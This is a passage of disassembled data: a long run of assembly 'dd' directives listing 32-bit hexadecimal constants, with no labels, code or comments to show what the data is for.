3E31153h, 60F609FFh, 90823731h, 7C03C707h dd 2AB93F55h, 4448788Fh, 32D7C3EEh, 18C62D0Ch, 0CAF54E00h dd 2E539085h, 41360119h, 0CC44C732h, 0A0AFE3E4h, 0CB7670F6h dd 400B8B30h, 89748F7Bh, 22F4376Fh, 64720029h, 4BDA82B1h dd 0A69836EBh, 67705105h, 80407D4Ch, 0A3EA6919h, 0A0FD16AFh dd 6DD4459Bh, 209034C0h, 1E5A3F5Ch, 2E57A988h, 325CF93h dd 58FE6DF5h, 4C65B9B0h, 6F416960h, 10CFCAh, 0DDD6C931h dd 6D1DD7E6h, 0F96C8504h, 0E4D9BDB6h, 3C40FDF1h, 0BB8A86Ah dd 54242C04h, 0F8749419h, 5707B242h, 0DC11724Dh, 468B3670h dd 207C906Fh, 9DE0A46Ch, 4FC42854h, 0CB596A60h, 98CDAFh dd 183D2C81h, 0B6C47791h, 305BE105h, 0D08DBECAh, 0E37BA841h dd 306BB448h, 0A649404Eh, 0ECF60B3Dh, 4692D00h, 37CF4D28h dd 0B26E00E2h, 0A9D69511h, 0B93EFBA4h, 0CC8B2C6Dh, 0F9508069h dd 245A6241h, 0C34C8F19h, 0E9709FC7h, 603AA628h, 0FE556844h dd 626B0096h, 5E7CBFD3h, 577991C0h, 4958C904h, 10D1DEECh dd 25111EF1h, 283432D4h, 0C432F492h, 0EC8B7023h, 34DE5448h dd 0A5A800B5h, 0C930A02Bh, 94001DE7h, 0BEC33CD6h, 25A83CEh dd 329FFFA2h, 0FE8E018Bh, 0F7115C14h, 64E85055h, 6670E8A9h dd 67C90044h, 0C5BAE980h, 44F4ACA7h, 0E600A80Fh, 0EC05BD58h dd 0CDC608Eh, 4DB1908Dh, 11A1BE0h, 6938A8h, 90C46A8h, 41056161h dd 20E9F0D1h, 0CC003FD9h, 924C645Bh, 73F549EAh, 62B3F60h dd 73F809CAh, 0EC27C10h, 1F5A41C4h, 0FCA164C8h, 980B526Fh dd 7CFB6D82h, 519F7C82h, 0DC608029h, 0E39537B4h, 0C00D9471h dd 60C1785Ch, 0ABC3410Dh, 35001E16h, 0B4D134FDh, 0B9C53774h dd 307C8C6Ch, 21004C61h, 482E839Bh, 0AC03E8h, 3F1202A8h dd 3DF7B5F9h, 24F42848h, 51609C37h, 0DDC18Ah, 20E1933Eh dd 7B5B2FAFh, 9268F758h, 0B80BE1Dh, 119110Eh, 40F8949Ch dd 0B073F7C2h, 6C597098h, 25288124h, 10846EDh, 0C4DCF74Ch dd 0C24B64FFh, 9C948783h, 545173BAh, 31F0D787h, 904B9E02h dd 74FFD4E8h, 1C80ACEAh, 155DE7D7h, 4581FC9Ch, 631928BDh dd 34B0360h, 0C8773596h, 28ED1718h, 64882114h, 431FC873h dd 6E4FD7h, 500E84B9h, 11E44843h, 59008279h, 0B3D86A4Dh dd 4C727190h, 1E05C5F0h, 0DC805BA2h, 9301DD28h, 2B90FEEEh dd 48677781h, 0B1467B1Bh, 0F49F7880h, 1093AF00h, 53425186h dd 2C8736Bh, 230154FDh, 0DC84CEC1h, 73B2407Ch, 1306B7D9h dd 281FDA96h, 608A7A18h, 0B882E9F4h, 0BD09458h, 0A0A28BD7h dd 900BE86Fh, 0FEEE9D58h, 572B39D8h, 4083209Dh, 120691FAh dd 2AE45C1Eh, 7874DB4Ah, 5BE23820h, 0D1C20043h, 0C581B8DAh dd 4D3FCE6Fh, 939512ECh, 0CF367460h, 40D09688h, 0E5F1832Eh dd 0A4A6DE00h, 6FBEAA8Dh, 7D8EC52h, 0EBF46ADDh, 8F34B4D3h dd 0BB900080h, 679A54A4h, 37F00338h, 3F2075E5h, 0C606DAD0h dd 871E93Fh, 0B89DF962h, 5808AA2Ch, 5400E6CEh, 9394F468h dd 96F0B0h, 6461EDB3h, 0F7C3F1EAh, 24182F49h, 7BE37C6Fh dd 5751006Eh, 14FC3B87h, 1B00DA71h, 88C0E37Fh, 307392D9h dd 36291EF4h, 8094F17Bh, 0B8404BBBh, 0A5558BA6h, 98C53E0Bh dd 3D3A9F00h, 0C2686661h, 0CBFC7558h, 0FB64B992h, 204A8829h dd 26911AF0h, 673C5702h, 0F7DABEh, 0BB2AB5D6h, 6DF30306h dd 22390AC5h, 0EB48265Bh, 39A0972h, 0B006800Eh, 1DD6928Dh dd 455D1691h, 829637CCh, 28493F20h, 8820627Fh, 836B807Bh dd 0DC66EB3Ch, 2BC24E00h, 2847D1F1h, 0CE0E008Dh, 91210A87h dd 25605C1Bh, 422AFE81h, 13AF3B0Ch, 0B6663880h, 1F594729h dd 51E30707h, 0F6103244h, 49C16888h, 5A8AB4D3h, 6F10E24h dd 2CA8A4A1h, 0F1A6F589h, 9E816E62h, 2C76701Fh, 20F67B13h dd 0B2E9D6F4h, 621F189Ch, 1600906Ah, 0B3E164BBh, 729C2025h dd 48B800B6h, 96540C85h, 94999E73h, 0D6703127h, 5B80EC3Ch dd 4A3C88C9h, 837EB51Dh, 0CE894B00h, 12B9D6B8h, 8EFC7C7Bh dd 205A1968h, 0EEC4F19h, 92641232h, 34E4D362h, 0C83566B0h dd 0D600E37Dh, 0CA0E1EACh, 93167422h, 817013A0h, 146EA2F4h dd 310774B2h, 0D60CF56Ch, 7845E0BDh, 4C1C5844h, 50C480A4h dd 380048F2h, 3BC659FDh, 0E80BDCCEh, 448262FBh, 3C330010h dd 0A98F87BDh, 0A4022E05h, 48FBA33Bh, 8B88590Ah, 0A819FA6Dh dd 7C2619A1h, 0BCF90F78h, 71E06BD5h, 0D244B7F4h, 19351803h dd 80BD80C4h, 55E9FDF2h, 980CE889h, 0E63775Fh, 0B18EB083h dd 0D093F780h, 6A1E999Fh, 2312C14Eh, 947CF84Ah, 0B40DF540h dd 82B64C1Ah, 0A4848A2Bh, 1B04017Ch, 1C928711h, 0A90D1CD2h dd 0AE0A7874h, 4B641A84h, 960AB818h, 62FEAF03h, 0C8532937h dd 227CEF1h, 0C0E222F0h, 58D871B8h, 83BC0A1h, 25680CE1h dd 7B4978E2h, 9FE8F958h, 82F0BB14h, 5A2664E2h, 365044ACh dd 8C0F622Ah, 8FEAF400h, 97075F5Eh, 0B0D71A4h, 0CD9DD506h dd 0D0EF1C19h, 0E40B25E9h, 0F02002h, 78756EFDh, 47833B40h dd 34B7A28Ah, 55AA4238h, 0E7D8C011h, 0EE1B2ED9h, 2162162Ch dd 0D89ED028h, 812C0685h, 73144F7Dh, 0AB4870B0h, 0E004D3B0h dd 68817760h, 4EDBD626h, 0D36C2099h, 8500F4ABh, 2AF1422h dd 9123247h, 288B3EBAh, 1705880Eh, 0D600C071h, 0AC01C7B4h dd 24A6CA05h, 9C608B37h, 5945644Fh, 27F18044h, 7E006805h dd 2048304Eh, 945B3E07h, 0E40480B0h, 781F3926h, 0A9305400h dd 0FCC2328Ah, 2788B84Ah, 24815FAEh, 1737CCEh, 0B18F0E61h dd 1C204B84h, 0C049F295h, 2831AA32h, 0F4460903h, 4B186B3Ah dd 0A4C0F024h, 39310694h, 308F2813h, 8F828ED1h, 30427B9Ch dd 4B3F6420h, 42006BB7h, 0DDB0F3CCh, 5C102938h, 4008100Bh dd 6E110525h, 7D9C007Ch, 9892B466h, 4C04F551h, 6ED9841Dh dd 0A45802AFh, 90C0F6F7h, 38B6095Ch, 0E31A3600h, 18C357Eh dd 31078901h, 404CE4C2h, 1E60AA44h, 13D08726h, 67EB1C00h dd 0E40F37Fh, 3A18D35Dh, 98C4F40Bh, 6474C546h, 27FE196Ah dd 62243A98h, 0E58D0030h, 4D874E72h, 0E037DA04h, 28986B64h dd 1070986Ah, 21241C1Bh, 0F88B81F5h, 975ACCA7h, 1437D7D0h dd 0D9162490h, 0DC860013h, 2064BC6Eh, 293D6AACh, 0E31D00FAh dd 0C4A2E60Ah dd 58A079A9h, 50D890h, 7C8A16B6h, 9008958Eh, 0C89BC5D4h dd 88140330h, 1F4E8D1Ah, 8119D435h, 341FC137h, 0EF26000Eh dd 631A894Ch, 43007CD8h, 3D3CBEC1h, 738EFE0h, 8DE72ECAh dd 7B3E6203h, 0D900B8E4h, 1AC32596h, 0A0F6FCA2h, 3969B2h dd 0CF2D8D8Ch, 2F288F70h, 0E87B370Ch, 5B256127h, 0F7F022D7h dd 0E4701912h, 0D2A4CCh, 26428EC7h, 0D104E6C2h, 842E3E01h dd 9463587Ah, 5F6DCF40h, 255300F9h, 9CA40FECh, 4EFA32AFh dd 0CB44EE1Fh, 3828D61Dh, 0F621E222h, 6BFF1437h, 5F10FC77h dd 0A84C702Eh, 2B7F800Ch, 0A03853FAh, 0F9772558h, 6A1FE800h dd 8FA3634h, 8F0010B2h, 0B7B8E93Dh, 83009C18h, 9B25BDB3h dd 0ED71D1h, 0E3C0F901h, 0EF2260F1h, 217782Dh, 202780ECh dd 0B2F934D6h, 0D467E900h, 43491315h, 246B78C2h, 0A347EBAh dd 29940DABh, 0CBC881F8h, 0FCFD27E7h, 2104A27Eh, 74B6CE0Ah dd 0C378C100h, 0C9DE48C8h, 72CD4A00h, 7B52FAh, 2204E8FFh dd 0E7035E1Ah, 2BAFBF00h, 56B90582h, 48530023h, 4D6F5579h dd 88012858h, 0DF606206h, 83C807Dh, 9640ED88h, 0A44C47DCh dd 0F30603BCh, 7EA2E1BEh, 0A1266180h, 4885B001h, 7F720FCh dd 385113FCh, 480173Eh, 0C0E883D4h, 6001A60h, 86638FDCh dd 0C18F8FEh, 6AB0D7C2h, 5C915AF9h, 0E8833C1Fh, 0B06F5C15h dd 834F40h, 1CC6B2C8h, 95F4926Eh, 7FC9DB00h, 0C2E770FEh dd 962D6E76h, 6DD46F00h, 0E2003D63h, 70689608h, 66972Ch dd 0B588F376h, 23C2D973h, 8BD75100h, 50EEC8Ch, 329000CBh dd 0FA6203A0h, 50067E6Ah, 919DD7D5h, 41F89619h, 0E4A9ACDBh dd 0C717375Fh, 4207E53h, 0EEAB4630h, 72010B13h, 0F0904CB6h dd 4A000B54h, 2024F8C7h, 14B810Eh, 0FB1BDC67h, 305FECB8h dd 0FE0B72B0h, 0E8BB2671h, 246E8D90h, 80283681h, 6D987B05h dd 8604CFDEh, 68F44FD4h, 0CFB8891h, 4CEC3015h, 2D078457h dd 0B404E3ECh, 4473D130h, 3C090028h, 6DC66CABh, 0C17B0797h dd 80AC204Ch, 9E6864D1h, 7AF8B04Bh, 0D460E99Bh, 0C3078438h dd 2F377003h, 0B2EFD9A0h, 7ED6055Fh, 81B043FAh, 7CD33F18h dd 20518068h, 1FEB791h, 75E13E47h, 0E0137BF3h, 70358AF6h dd 0E898607Fh, 0C89011FBh, 0AC1C005Bh, 0B07C86B5h, 7B34135Dh dd 18CC31E4h, 80702C7Eh, 13CED2AEh, 0E1A70561h, 89CF9F4Bh dd 11B821ACh, 7232F034h, 0D5DC0CBCh, 2A9B1866h, 285E3Bh dd 0B8651714h, 9C7B9D22h, 0D136CF1Ch, 3CCA4CC0h, 2591A9D9h dd 9818EE1Ah, 0EBF0BDA7h, 0B45943Eh, 4164F2ABh, 0D107A60h dd 2D01A550h, 0FFECE958h, 40600C63h, 0D4E7007Fh, 46521770h dd 0CC002D1Bh, 1245D7EBh, 1A59CDh, 6D88E37Ch, 0CA5E5A76h dd 0C95B9C03h, 0A2482068h, 2C214008h, 950301E6h, 2199B689h dd 861881D5h, 18797776h, 108009D5h, 0ECE145Ch, 3000CD7Dh dd 2A2FD526h, 4099FEBAh, 6EF05272h, 9DB84B00h, 5F39CB3Fh dd 0EEAF0271h, 437B5384h, 3C243D7h, 0BE8A5579h, 0ACA02D9Fh dd 0C700CE2Ah, 27B2962Fh, 77B115h, 0ABBADD09h, 0C33DA658h dd 3D1F93Fh, 0B276701Dh, 8D4800D7h, 25852C67h, 29EE6EE8h dd 888BCA00h, 979DF3A6h, 50A97C1Bh, 1F8E82C9h, 0B0FEE9A4h dd 9AFFC6B1h, 2B65E8F7h, 8F474800h, 9EEBA202h, 89763B7Ch dd 545C1A80h, 8CD7683Dh, 8381660h, 0C0D43F20h, 0F97775C9h dd 10DFD273h, 0C6ADA20Eh, 0F21DF1Fh, 625010AFh, 84E33EA0h dd 65009A99h, 21A9358Ch, 368E475h, 47ED66C1h, 0B0CF03EBh dd 7A2F8765h, 0A9B1C40Eh, 0FE8B408Fh, 5802CE68h, 3A02D352h dd 8EFEB5Dh, 4B4AE490h, 0B3A51E04h, 9DC3D6ADh, 2E974AFh dd 6F4DB80Eh, 0F4604C71h, 7600C622h, 7F925997h, 15DFC5C8h dd 8A75B38h, 0D1723006h, 2600D91Fh, 0CAE78CF1h, 3BBF5Dh dd 0B0B9A25Ch, 0CFF550B2h, 29DB1F30h, 0E224F215h, 564D008Fh dd 0F9047B18h, 24909598h, 0ACFA3F01h, 0A2FE91D2h, 0BAFBA180h dd 29E96CE8h, 8E3A0E3Bh, 5F8F5802h, 90CA740h, 0F7538ECh dd 5D33C85Bh, 54BDD2E1h, 0B541849Dh, 5C90249Ah, 5D3520Eh dd 0AEC5C75Bh, 0AF0C0977h, 0FC3D288h, 0D00D0A1h, 0A62016E6h dd 0BC81A0A4h, 6811CC5Dh, 0FC613E0Ch, 3A761A4h, 931BFD4Ah dd 6E98846Dh, 0D10447C0h, 0D66BF636h, 0C3C23F04h, 7174273Ch dd 1D231A03h, 0AEFD69h, 0D6B56549h, 79925C3Eh, 67E0A703h dd 1A52491h, 6E53C091h, 22222FD7h, 0C8321134h, 0F035D61Fh dd 40EA7019h, 0A0A8AE00h, 5EFCD7CBh, 0BB240EB4h, 9F6B0Fh dd 7D1E2F61h, 0EFEA3EE4h, 534E8C14h, 47007EA2h, 64DA8DD8h dd 30E52Ch, 9A16798Fh, 0BF7B4F06h, 28302060h, 56D895Eh dd 0D12CDED6h, 5BB780FEh, 0EE132D78h, 1BE11D5h, 0E48D4F3Bh dd 8B14F8D1h, 88B5A032h, 8F490C0Dh, 2EBF6C00h, 0D676BAC6h dd 0A08801B8h, 0DF6461Ah, 0AE144369h, 0B0A680F3h, 0C33B0313h dd 0CCA91B05h, 0C792400h, 306DBE55h, 8DD929E4h, 0F8070115h dd 60EDE9EAh, 0A3DC4820h, 4BB603EBh, 80A0D62Ah, 9960BF8Bh dd 4D904258h, 8E1E0A21h, 608D2B7h, 5930F99Eh, 9AB9291Bh dd 6D4FC078h, 2EF40119h, 0BC64C5ADh, 0D6A8C40Ah, 3AD70BFh dd 8E468D4Eh, 0C1007CF4h, 0E5EE6F6Dh, 328BFCh, 3649DC81h dd 9B335B7h, 0BE2064F8h, 34BF19EAh, 1038E8BBh, 0C08E143Ch dd 2CD66C49h, 31EEBD18h, 5FD19914h, 3E090514h, 0A8C039B6h dd 0F3B97FE9h, 0B20F1450h, 26A10E15h, 0F80A9EC5h, 92213D6Ch dd 1933E50Ch, 4D682818h, 1AB600F4h, 0A82566Fh, 0AE002241h dd 0E63F5BF6h, 0C7B46DECh, 5BE3CB0h, 0FD82298h, 0E016B641h dd 0F3288B0Ch, 4A26B407h, 0DB143905h, 6C0D1414h, 90A481F8h dd 0EC41E4A0h, 4CD4DF15h, 884493Fh, 0D22D1780h, 62148D9Ah dd 108FEAFh, 29274F37h, 9EE479C8h, 8C61C207h, 0E2203A5Fh dd 4FC94Eh, 8D1D793Bh, 5B07A960h, 549C31Ch, 60D6AF8Ah dd 90206990h, 3CCBE704h, 649851C3h, 0E54C1812h, 1876934h dd 7DE6B000h, 23B58416h, 25F7009Bh, 35BBD478h, 51F364B6h dd 8081F4B4h, 65B41469h, 0E4E6807h, 0E0A0AB2Dh, 2980D840h dd 31C7EDAFh, 0D7E0C3E4h, 0D42A7E90h, 17080C71h, 0E50D3775h dd 0ACE0195Ch, 337E0E15h, 0B06B723Eh, 0ABC6CF80h, 5900E255h dd 57DE2E9Ah, 48FDA360h, 516A089Ch, 0C1600h, 0AC6DE7F3h dd 0FC7B736Bh, 0C7B20CFh, 602629E2h, 896931A3h, 9F003FF0h dd 0C64F2904h, 90F51994h, 4E880340h, 345F8284h, 9EE63900h dd 43015D8Bh, 0FA9000ABh, 0BC3A4731h, 0F800EC24h, 0C749F18Ch dd 36CCA2Ch, 0DCB771B6h, 7BD991FEh, 724432BEh, 0ABCB4C05h dd 88068BE7h, 919D26h, 0D02110C6h, 8F081C0Eh, 708D3100h dd 0D59837A8h, 0DA3E071Dh, 0BCB46BADh, 7A157BF8h, 0B4AAB6h dd 1E01D637h, 0EF829D33h, 48A02911h, 6C74E7C4h, 0F308BA50h dd 4FABF900h, 2B297561h, 0C8BC00EEh, 259231A5h, 0B41F263Ch dd 389EBAD7h, 0E599D6C3h, 0DA590035h, 0CC6BAB4Dh, 20EB70Ah dd 7C8390F9h, 76913180h, 0E03D8F29h, 0D7AE00D6h, 647ECA9Ah dd 0F32A71A4h, 490B0830h, 800D4F8Bh, 0E913651Dh, 26F37D8Eh dd 93289DD7h, 40741FECh, 24362BC3h, 30CE4595h, 19778054h dd 30092237h, 29F8C06Ah, 0E1C49CA3h, 549787F4h, 9643E2F1h dd 2BC12C0h, 0FCBED50Ch, 0B842CB24h, 802B6D41h, 1CF3A2D9h dd 0F3DEE2A9h, 198F32F1h dd 4A40427Ah, 57A3E0D3h, 0B5F37600h, 1A746371h, 462C1CD8h dd 0F48F54A0h, 6FC2E80h, 0E8049636h, 0A327709Ch, 49F00540h dd 0F277E2FAh, 0D155D600h, 165DE596h, 3771C336h, 88D54515h dd 4C7F400Ch, 0CE935E00h, 340DAC32h, 5658091Bh, 0F0029273h dd 0F8406DA4h, 0FA0074B4h, 0F3A8972Fh, 1885BCD0h, 99C9B67Bh dd 36185C8Fh, 9F11325Eh, 417F005Dh, 8AC2EC44h, 87001FE0h dd 0C3E1C4B2h, 7EAFA0Bh, 9727766Dh, 43CC57Bh, 880D9E24h dd 760BCA34h, 3D7B877h, 50B57BB0h, 0F0554C19h, 0EEF428ABh dd 98272AB8h, 0D18D0084h, 3DC96E3Eh, 0BB00DCB6h, 4EB0E0E6h dd 3C32B07h, 222CC01Ah, 8DF834F5h, 0E8A878F4h, 810011A5h dd 97EBE0E4h, 24B2856Ah, 22B4A2DFh, 13CC843Ch, 1C71A098h dd 205E93F4h, 3667CE18h, 0CBBC6600h, 18F74F63h, 382C5895h dd 5A211848h, 0E7079411h, 0D34632h, 6C0F48FAh, 7158E530h dd 2D2C41h, 0FDD37B17h, 3254FBA4h, 905A2700h, 0D18F6528h dd 0FA52034Ch, 0A739AAC2h, 2BEC2CA8h, 8C30F214h, 0B36B006Ch dd 0CB78A151h, 137200B5h, 5CAE854Fh, 29DD9626h, 41ABCA40h dd 7988B284h, 0CDB0A139h, 60F4CC48h, 0A7895179h, 60075612h dd 84ABAE3Eh, 0E0F569C2h, 331864C0h, 8DF03499h, 0C8313Dh dd 8F6C9B77h, 7174A94h, 49D1DC5Bh, 79526006h, 355CEA71h dd 2C7000F2h, 0F5C22AE4h, 0A78C00A4h, 0DEEE16A8h, 77048DECh dd 20019E88h, 86A244C8h, 26D76D08h, 7C08808Bh, 0BA68DF21h dd 62273Ch, 47112A4Ah, 77F72C2h, 8D262214h, 2B6E05Ch, 0E517ECBBh dd 4600E88Eh, 5B1BBC4Ch, 0ACE600AEh, 0D3501D34h, 0FE00A09Ah dd 0BF6ECB2Ah, 7AA98F3Ch, 2E0C00AAh, 6B634D9h, 6A001504h dd 0E2DD1452h, 0B9866F3Ch, 0B8C90F54h, 0D7F70B60h, 0D60269CEh dd 29FD77F2h, 0B88BE362h, 0F85381AEh, 0C68031Ch, 23B1D152h dd 78247D8h, 6C485898h, 16804260h, 543097B8h, 1E5D7A7Fh dd 45AD636h, 0C8276607h, 9900825Ch, 53B643A4h, 0E01EDF7Dh dd 0EA4B000Bh, 0FAFD7A25h, 54FCBE6Dh, 0D049F58h, 69B47BE4h dd 0E46EC30h, 49C81D0Bh, 4A65B620h, 0C2179A4Bh, 1700D36Ch dd 46E72D43h, 0E9050EE4h, 0D74E472Bh, 45E66C80h, 5901A99Eh dd 0DA81EAD6h, 0E4411E52h, 4F002065h, 0A909AEAFh, 0ED00B63h dd 3C08B13Ch, 14A48323h, 6C904822h, 64EEBA00h, 991A7662h dd 6F660ED3h, 6DE081CDh, 0DAE3A3C6h, 80C26C3Fh, 0B652DC9Bh dd 9F201Eh, 0DEBC1555h, 368646E2h, 1781E091h, 1E746EB4h dd 5C11DCFCh, 409D506Ch, 39FCB5DAh, 2D68364Dh, 18060858h dd 4829A226h, 5F00CA93h, 0D8B058FDh, 6304D96Fh, 3C452947h dd 0B76C8C80h, 0E8F5581Ch, 55B80700h, 679F21Eh, 4C8F7105h dd 7401A87Bh, 1498F42Bh, 1FC810A3h, 8C851536h, 5418800h dd 144FD6Bh, 5F99D109h, 3D8CA34Ah, 0A8D0EC15h, 0C7315E6Ch dd 0D0160E41h, 0B6D2601h, 0CA4D5Ch, 5CBEB81Dh, 1FDE8Dh dd 328164C2h, 8ECC54B6h, 0A00D5F26h, 8992400h, 53352C7h dd 7E424CB8h, 69C88051h, 0FC133D2Ch, 0AC0845A5h, 0D4978082h dd 0ECCDB7FDh, 0C010D04Ch, 0F411BC6Ch, 0B529C17Ah, 0C45295B3h dd 6A14F641h, 16DB429Bh, 0C1C4C71h, 400F3611h, 357D76Fh dd 0E8B56C2Ch, 8FA71FC5h, 0D6E2109Fh, 0BC44223Ch, 87BCC499h dd 0D52D55FBh, 0CD8EDFF0h, 0BCB400D2h, 9C3F76E7h, 0E60089C3h dd 6C1771BDh, 98EBDFDDh, 7B7033Ch, 0FAFB9EB2h, 0D87FCDE0h dd 0B6571400h, 0CA668B1Fh, 0C4B4041Dh, 0C8213CEFh, 770FD17Ch dd 58E59F60h, 26E27C81h, 0B5A5CA8h, 0E0049D27h, 86604096h dd 77C0EC3Fh, 114629B6h, 40C81C94h, 0A30E82AEh, 7B06BCEAh dd 894C09B9h, 0C8EC5D38h, 8DE511h, 3268010Dh, 153D8417h dd 8437D818h, 90E603C0h, 961998C8h, 5692D577h, 7DB6FCh dd 93D09DB4h, 276EDB6Ch, 0BE536500h, 0ACD4EEEh, 9ADC0021h dd 0F455F6B7h, 9E18C52Ah, 5F595DF9h, 30923Eh, 0ADE79534h dd 0D081A0B3h, 17F47612h, 7BCFC402h, 0C9E446B0h, 20688D34h dd 3671DC46h, 0E5470513h, 0F3B0CC90h, 0A5E80052h, 6D903222h dd 111714E3h, 0D007D0FEh, 0E9D1134Fh, 1182CA73h, 3307AA2Dh dd 445C986Eh, 0AB57C498h, 0EE49B3C1h, 247A1ECh, 5FE130F1h dd 1C995B07h, 25F4DCC8h, 9E979505h, 78083204h, 4EB98338h dd 0A1F294ACh, 4F8DE1FFh, 3E624920h, 24A8511Dh, 0D7284494h dd 6631A714h, 701405CCh, 28C0AE0Ch, 1CC08A52h, 0C0DAE081h dd 4F239236h, 2D0B510Dh, 980FDE46h, 7CA1974h, 3D2A246Ah dd 0A74CA0E1h, 0AA4BD7ABh, 80A00008h, 361A12A2h, 3A016BE8h dd 0AE71F4D8h, 48704F78h, 0A2448430h, 536700B2h, 0D9ED4998h dd 9101BA8Dh, 8ECF6E11h, 5C72AF29h, 930C9E12h, 9AF0C8DCh dd 0D700A201h, 4D1F2A9Dh, 4664674h, 7F34C13Bh, 0C5C0EFD9h dd 71BC9EEFh, 0C618C0E4h, 28DA8D3Bh, 241FE576h, 5E00C77Fh dd 9770B7EAh, 0EBBA07ADh, 0E70575F9h, 0F478B0E9h, 0A3307181h dd 0C6C758F3h, 921CA01Ch, 1DDF00C5h, 11BF6E8h, 1700B2D5h dd 9C6F7E2Ah, 0E1266AFh, 0C8FF82B7h, 87E40057h, 0C49DB5B4h dd 316315Ch, 678F19C6h, 0A5B90035h, 40AAEA51h, 0F600A6B1h dd 0F323C736h, 0ECC5D96Bh, 0C08D03FBh, 373FA271h, 0D439881Eh dd 0A1E9B80Ch, 0E09F45F0h, 0A961C082h, 473CA129h, 0D3E21981h dd 0E8FB3907h, 1F036435h, 98DA96E6h, 0D1890022h, 1E47168Ah dd 300732B4h, 2AF5E579h, 0C7899EC0h, 59BE185Ah, 0C2F45173h dd 5CABED01h, 7C9DA51Bh, 2093F0D0h, 70143899h, 88A0EFB8h dd 0FF508010h, 980676A6h, 0A5A7130Eh, 0BC242194h, 0D8501946h dd 0A23D8D2Bh, 49D4605Ch, 73DC001Bh, 6E4E3EA0h, 0F81886A1h dd 9661F4CEh, 0D60F0066h, 1AAF1BF0h, 923C8F68h, 6AA818D8h dd 7B461F49h, 0F904052Dh, 206E3DF3h, 172D48Ch, 0C4A492Ch dd 0B2A51600h, 7FFAD33h, 0E6614480h, 117EF074h, 82012AEFh dd 0F3123FF2h, 0B4403EA5h, 38F04E7h, 0E5B5A999h, 1901BC71h dd 59D5A3C7h, 0A9BEED74h, 0F3FC6909h, 3DB4F780h, 8CA81DC6h dd 0D7570E8h, 37C81200h, 0EB88B156h, 80630177h, 0AFFDC0C6h dd 20B044D3h, 72F28BF4h, 29539D07h, 177313EBh, 0D93000C0h dd 0D897A3F0h, 9F883749h, 6C1B1374h, 72600168h, 89F53DA1h dd 202366D0h, 21FEF900h, 36A7649h, 0C7A8878Eh, 0C6C1DD37h dd 0E549821Eh, 60915434h, 3C1B6D2Dh, 19FF01B9h, 49C6F913h dd 0B423CAh, 8FDC1887h, 1C2DD220h, 43625C4h, 0C0F848ECh dd 76FB9DF1h, 7126D607h, 54B3C0CAh, 0CEA924D1h, 0AD8340C0h dd 90078DB9h, 253CB888h, 688E4940h, 0C0807C05h, 0ED7BF502h dd 90A8793Dh, 0B4002FC3h, 12773E13h, 7B826149h, 5873B96h dd 2826CC98h, 5C90449Dh, 39779F31h, 0C9802C66h, 34D06F5h dd 0A1EFAD7h, 0F180BD68h, 7E87EF1Ch, 0A8493C35h, 63A05F89h dd 0C40345E2h, 413C20F0h, 0FEC160CEh, 8F7B16h, 8A81C360h dd 0B15328BEh, 354A4C01h, 0DBA29BDEh, 0C198D4h, 26D04632h dd 74475F06h, 383C9100h, 0EBD5FE0Dh, 0EA40013Dh, 0E7294586h dd 5ECC48C9h, 229FE80Fh, 4F003CDDh, 0F3702902h, 0DC4B06A0h dd 0E1643DA3h, 153CB700h, 2D0BE38Fh, 0F6C40076h, 0AEF119E7h dd 8600E9A3h, 0FDD58B7Eh, 17CD2FBAh, 0AFA12D6Eh, 7BF07102h dd 9FAC40ADh, 0A0008478h, 4DD6CACFh, 0AAFD5A7h, 689CF059h dd 6A240A10h dd 3D18BC84h, 40E3197Ch, 0A90FD870h, 804D9B29h, 71D55CC6h dd 827499A1h, 93BAF236h, 20E71041h, 41C7465Bh, 8BB0D1BCh dd 0A0A14D3h, 7524CBABh, 0BB483134h, 0BE119FE8h, 8529D340h dd 0A961E37h, 2866633Bh, 5D3880D4h, 0C4D1335Ah, 0FE402900h dd 0A0C27DDAh, 0C7E701DBh, 0FD8C9BF7h, 0CDC228Bh, 896990F0h dd 58BC5470h, 0CADB00D5h, 247D547Eh, 7CA11F6Dh, 0F8201371h dd 0FE4EB50Bh, 0EB9912ECh, 48C4111Eh, 22687703h, 1DE03550h dd 0F500D298h, 47850774h, 0F2B8600Ah, 36CB328h, 3767803Ah dd 0BBB34100h, 7BF16E8Ch, 9BA0004Ah, 0C979A1D7h, 1600F25Fh dd 49CAEA96h, 135B5A2h, 7F03DF87h, 0E5FC226Dh, 0E23DCC9Ah dd 0D1808901h, 0F8701082h, 0B03A2CE4h, 0B781483Ch, 7B26704Ch dd 0AFA1406Ch, 0E678D073h, 0E2701101h, 41E71E71h, 764DA8C7h dd 0C727F74h, 2BDBB16Ch, 90A17EF0h, 0D402D212h, 9A608398h dd 0FC54F08Fh, 722600CFh, 0A480A065h, 0B50F1AC9h, 0BEAC8785h dd 5476E5C0h, 1E8EDA60h, 0C4A24DD5h, 0C12D6D1Bh, 11399FFCh dd 84326B24h, 7C9B6454h, 72F00983h, 0DC224591h, 0F4116FF3h dd 0E241E910h, 0B8245D00h, 7AEAB3B6h, 6538C4E1h, 21032250h dd 7169A1CAh, 4A77CB5h, 76320192h, 0F813A080h, 0AAF02C65h dd 3AD741A0h, 0E62BEC5Dh, 0A126C630h, 266B06C2h, 8654BBh dd 0C9D59B0Eh, 0E8E9865Bh, 60042D96h, 0C5131C34h, 233B8C8h dd 1B4C9FB1h, 308168BEh, 85F2A070h, 7292F0C9h, 10470C0Bh dd 28996650h, 0F8C82CD3h, 9D18A9BAh, 1484BC0Ch, 0D86017C6h dd 0F5802A88h, 6F4ECF67h, 2DED00BCh, 87D5F744h, 690E6D37h dd 1C6A66CBh, 8A00F0E9h, 0DF45E517h, 40D4005Eh, 720C4E0Bh dd 900B6E8h, 0CA97593Ah, 188C9FFh, 63A21FAEh, 64109AA3h dd 49CF3A74h, 8382E0E7h, 567C0D8h, 8103BA96h, 0B8CC1864h dd 38ABCBBh, 3F2DFCC0h, 144C2439h, 0FBA4DC0h, 1C926EF3h dd 0DB7C5A54h, 98A129C9h, 48C5FB5Ch, 4F00B975h, 0E6A80C31h dd 0A207B4F0h, 0F22F9FAAh, 58C4F514h, 22057C82h, 0D891FF13h dd 8941D43Eh, 0FEF8ECB0h, 0BE4C2350h, 0FFF32A45h, 66080C4Ah dd 608CAC21h, 0D8376A51h, 7E02E9E6h, 0FBBA4C52h, 99804807h dd 40C74501h, 0D89E9DC0h, 81366780h, 70F3017Fh, 44FB7195h dd 0FD904121h, 1D03B881h, 0B3B04C43h, 64C602F9h, 17890074h dd 5BDC4E7Bh, 3700FF79h, 99721DDAh, 1D6F04Ah, 4BE91F2Ah dd 0CCD0A89Eh, 0C55CE73Dh, 0CE4C7C5Ch, 442B80D8h, 6B6DB38h dd 0C6E75698h, 0AA3B6127h, 7C3580ACh, 6FFCF1EFh, 45DD00BBh dd 28055AEDh, 